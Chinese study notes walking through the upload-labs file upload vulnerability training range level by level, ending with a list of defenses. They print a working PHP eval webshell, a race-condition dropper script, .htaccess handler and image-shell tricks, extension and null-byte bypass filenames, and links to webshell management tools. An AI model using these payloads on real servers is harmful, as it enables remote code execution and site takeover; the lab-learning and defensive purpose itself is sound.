1、文件上传漏洞原理
1.1 一句话木马
<?php @eval($_POST['xu']); ?>
其中@表示忽略错误,eval()函数表示把传进去的字符串作为php代码执行
从http post里面拿到参数叫xu的value,然后作为代码去执行,并忽略错误
2、Webshell介绍
一句话木马、大马、小马、图片马都是webshell中的一种
收集:https://github.com/tennc/webshell
3、网站控制工具
中国菜刀
中国蚁剑 https://github.com/AntSwordProject/antSword
weevely https://github.com/epinna/weevely3
哥斯拉 godzilla https://github.com/BeichenDream/Godzilla
冰蝎 behinder https://github.com/rebeyond/Behinder
3.1 中国蚁剑
右键添加
3.2 weevely
是一个Kali自带的命令行工具
生成一句话木马:weevely generate xu weevely.php
连接:weevely http://ip/xxx.php xu
3.3 哥斯拉
下载出来是一个jar包
启动:java -jar Godzilla.jar
管理 -> 生成webshell
3.4 冰蝎
启动:java -jar Behinder.jar
他的shell是现成的,在server文件夹中
密码默认是,rebeyond
4、文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务器端命令的能力。
5、文件上传漏洞靶场安装
6、文件上传漏洞靶场练习
6.1 第一关
观察发现,属于JS代码前端检查checkfile()
可以直接删除前端代码,绕过检查
6.2 第二关
属于php后端校验,检查文件类型,在http请求中的MIME字段。
6.2.1 MIME用法
MIME | 描述 |
---|---|
text/html | HTML格式 |
application/json | JSON数据格式 |
multipart/form-data | 文件上传(二进制数据) |
image/jpeg | jpg图片格式 |
客户端使用:
1、GET请求不需要这个字段
2、POST请求头,放在Content Type字段用来指定上传的文件类型,方便服务器解析。放在Accept,告诉服务端允许接收的相应类型。比如只能接受json或者其他
服务端使用:
1、放在响应头里面,Conetent Type告诉客户端相应的数据类型,方便客户端解析
绕过方式:通过抓包修改MIME数据类型,修改Content-Type为image/jpeg
6.3 第三关
前两关是白名单验证,这关是黑名单
绕过方式:等价拓展名
语言 | 等价拓展名 |
---|---|
asp | asa,cer,cdx |
aspx | ashx,asmx,ascx |
php | php2,php3,php4,php5,phps,phtml |
jsp | jspx,jspf |
提示:复现要的话,php不能是nts非线性版本。并添加http.conf代码:AddType application/x-httpd-php .php .phtml .php3 .php5
6.4 第四关
黑名单更全
思路:把php文件重命名为jpg后缀,并上传到服务器,想办法让服务器解析它
6.4.1 Hypertext Access(.htaccess)
超文本入口,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
伪静态 如discuz框架
https://www.52pojie.cn/thread-150418-1-1.html
https://www.52pojie.cn/thread.php?id=1530418&page=1
其实是通过thread.php把参数传给后端,然后从数据库中取出
通过htaccess转变
绕过:所以只需要再上传一个.htaccess文件即可
<FilesMatch "post.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
6.5 第五关(第五关是后面加入的,先跳过)
6.6 第六关
限制了第四关的方法,审计对比代码,发现少了大小写绕过
上传post.PHP即可
6.7 第七关
审计对比代码,发现少了首尾去空格绕过
但是由于windows操作系统,在文件末尾加空格会自动删除,所以通过抓包改包
6.8 第八关
审计对比代码,发现少了删除文件名末尾的点绕过
由于windows操作系统,不允许只有文件名没有后缀名,但是允许只有后缀名没有文件名,所以通过抓包改包
6.9 第九关
审计对比代码,发现少了去除字符串::$DATA绕过
抓包,在后面加上::$DATA
6.10 第十关
审计对比代码,先删除文件名末尾的点,再去除首尾空格
可以考虑"post.php. ."绕过1
6.11 第十一关
审计代码,发现当出现黑名单里的内容时,直接替换成空
考虑双写绕过"post.pphphp"
6.12 第十二关
通过抓包,发现上传路径可控,可以从前端参数修改
文件名截断绕过%00
自动拼接成../upload/post.php%00post.png
6.13 第十三关
变成了POST请求,由于不在url中,所以%00不能用,用十六进制的00
6.14 第十四关
只检查图标内容开头的2个字节
常见文件的文件头标志 "https://cnblogs.com/WangAoBo/p/6366211.html"
windows制作图片马:copy photo.png /b + post.php /a shell.png
linux制作图片马:cat photo.png post.php > shell.png
上传成功后,使用文件包含漏洞运行图片马
发现include.php页面,且包含参数file
测试连接http://127.0.0.1/upload-labs/include.php?file=upload/4320241202075533.png
6.15 第十五关
使用了一个getimagesize()函数,用来判断是不是有效的图片,没区别
6.16 第十六关
跟十四关相比,多了一个exif_imagetype()函数,但是功能一样,读取文件的第一个字节并检查其签名,没区别
6.17 第十七关
提示:使用imagecreatefromjpeg,对图片进行了重新渲染
使用了一个basename()函数,返回基本的文件名。
在处理中,关键使用了imagecreatefromjpeg()函数,用你的图片创建一个新的图像
虽然上传成功了,但是一句话木马被二次渲染删除了
思路:用别人做好的图片上传
6.18 第十八关
进行代码审计
由于文件会先被上传,然后在进行判断,存在时间差
思路:上传一个PHP文件,该文件会生成一句话木马PHP文件
条件竞争competition.php:<?php fputs(fopen('xu.php','w'),'<?php @eval($_POST["xu"])?>');?>
但是出现新的问题,我们还没访问competition.php它就被删除了
解决方法:BP抓包send to intruder不断爆破,然后写python代码不断访问,总有一次可以上传成功
设置最大20个并发线程
然后不断访问competition.php的URL地址
import requests
url = "http://localhost/upload-labs/upload/competition.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break
6.19 第十九关
进行代码审计
包含了一个myupload.php的文件,白名单
思路:假如文件上传足够快,后端服务器处理不过来,导致文件上传了,但是没有被重命名
shell.php.7z利用解析apache的漏洞,会把文件当成第一个后缀
6.20 第二十关
提示:取文件名通过$_POST来获取。
查看源码,黑名单控制,从post请求中获取自己编辑的'save_name'
思路:利用move_uploaded_file()函数的漏洞,在文件名后面加上/.会自动忽略
当它对比黑名单的时候post.php/.就会无法命中
6.21 第二十一关、
审计代码!
思路:BP抓包先修改MIME类型,save_name要组成一个数组,关键是 $file_name = reset($file) . '.' . $file[count($file) - 1];要让cont-1处的数组为空,这样就不会拼接东西
7、文件上传漏洞发现与利用
若没有文件上传功能:
Redis KV 持久化+未授权访问漏洞(没有配置密码)
内存的内容会同步到磁盘中,写入一句话木马
MySQL 读写 select into file ...
绕过总结:
删除/禁用JS、修改MIME、等价拓展名、大小写绕过、htaccess、双写、空格、点、::$DATA、%00截断、0x00截断、图片马、条件竞争等等
自动化https://github.com/almandin/fuxploider
8、文件上传漏洞防御
8.1 文件上传漏洞发生前提
1、网站上传功能能正常使用
2、文件类型允许上传
3、上传路径可以确定
4、文件可以被访问,可以被执行或被包含的权限
8.2 防御措施
1、扩展名(后缀)黑白名单
2、MIME类型校验(image/jepg)
3、文件内容头校验(GIF89a)
4、对文件内容进行二次渲染
5、对上传的文件重命名,不易被猜测
6、不要暴露上传文件的位置
7、禁用上传文件的执行权限